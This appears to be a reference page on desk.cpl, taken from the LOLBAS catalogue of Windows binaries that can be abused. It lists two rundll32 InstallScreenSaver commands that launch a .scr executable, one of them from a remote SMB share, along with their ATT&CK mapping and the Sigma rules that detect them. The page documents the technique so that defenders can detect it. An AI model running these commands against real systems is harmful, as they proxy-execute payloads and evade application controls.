Identifier / Programs / Windows
desk.cpl
LOLBAS Execute 1 ATT&CK technique 2 documented commands
How desk.cpl is abused
Execute T1218.011 System Binary Proxy Execution: Rundll32
Run by rundll32.exe: desk.cpl,installscreensaver
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for desk.cpl.
2 documented commands
Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges
Launch an executable with a .scr extension by calling the InstallScreenSaver function.
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}Trips 1 Sigma rule: mediumRundll32 InstallScreenSaver Execution by Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec
Execute T1218.011 System Binary Proxy Execution: Rundll32 User privileges
Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}Trips 2 Sigma rules: highRundll32 UNC Path Execution by Nasreddine Bencherchali (Nextron Systems); mediumRundll32 InstallScreenSaver Execution by Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for desk.cpl, by Hai Vaknin, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for desk.cpl. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.